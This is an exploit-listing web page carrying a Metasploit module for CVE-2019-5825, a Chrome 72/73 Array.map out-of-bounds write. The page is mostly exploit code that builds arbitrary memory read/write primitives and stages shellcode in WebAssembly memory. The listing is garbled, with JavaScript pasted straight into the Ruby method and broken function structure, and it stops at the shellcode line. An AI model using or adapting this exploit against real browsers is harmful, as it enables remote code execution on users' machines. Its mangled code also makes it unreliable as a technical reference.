Google chrome 72 and 73 array.map outofbounds write (metasploit) Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2020-03-09 |
Type : remote |
Platform : multiple
This exploit / vulnerability Google chrome 72 and 73 array.map outofbounds write (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 72 and 73 Array.map exploit',
'Description' => %q{
This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
The exploit corrupts the length of a float in order to modify the backing store
of a typed array. The typed array can then be used to read and write arbitrary
memory. The exploit then uses WebAssembly in order to allocate a region of RWX
memory, which is then replaced with the payload.
The payload is executed within the sandboxed renderer process, so the browser
must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'dmxcsnsbh', # discovery
'István Kurucsai', # exploit
'timwr', # metasploit module
],
'References' => [
['CVE', '2019-5825'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
['URL', 'https://github.com/exodusintel/Chromium-941743'],
['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows','osx'],
'DefaultTarget' => 0,
'Targets' => [ [ 'Automatic', { } ] ],
'DisclosureDate' => 'Mar 7 2019'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
// *******************
// Exploit starts here
// *******************
// This call ensures that TurboFan won't inline array constructors.
Array(2**30);
// we are aiming for the following object layout
// [output of Array.map][packed float array][typed array][Object]
// First the length of the packed float array is corrupted via the original vulnerability,
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
// The Object at the end is used to implement addrof
// offset of the length field of the float array from the map output
const float_array_len_offset = 23;
// offset of the length field of the typed array
const tarray_elements_len_offset = 24;
// offset of the address pointer of the typed array
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
const obj_prop_b_offset = 33;
// Set up a fast holey smi array, and generate optimized code.
let a = [1, 2, ,,, 3];
let cnt = 0;
var tarray;
var float_array;
var obj;
function mapping(a) {
function cb(elem, idx) {
if (idx == 0) {
float_array = [0.1, 0.2];
if (idx > float_array_len_offset) {
// minimize the corruption for stability
throw "stop";
}
return idx;
}
return a.map(cb);
}
function get_rw() {
for (let i = 0; i < 10 ** 5; i++) {
mapping(a);
}
// Now lengthen the array, but ensure that it points to a non-dictionary
// backing store.
a.length = (32 * 1024 * 1024)-1;
a.fill(1, float_array_len_offset, float_array_len_offset+1);
a.fill(1, float_array_len_offset+2);
a.push(2);
a.length += 500;
// Now, the non-inlined array constructor should produce an array with
// dictionary elements: causing a crash.
cnt = 1;
try {
mapping(a);
} catch(e) {
// relative RW from the float array from this point on
let sane = sanity_check()
print('sanity_check == ', sane);
print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));
let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
print('original elements addr: ' + original_elements_ptr.toString(16));
print('original elements value: ' + read8(original_elements_ptr).toString(16));
print('addrof(Object): ' + addrof(Object).toString(16));
}
}
function read8(addr) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
let result = tarray[0];
float_array[tarray_elements_len_offset+1] = original;
return result;
}
function write8(addr, val) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
tarray[0] = val;
float_array[tarray_elements_len_offset+1] = original;
}
function addrof(o) {
obj['b'] = o;
return float_array[obj_prop_b_offset].f2i();
}
var wfunc = null;
var shellcode = unescape("#{escaped_payload}");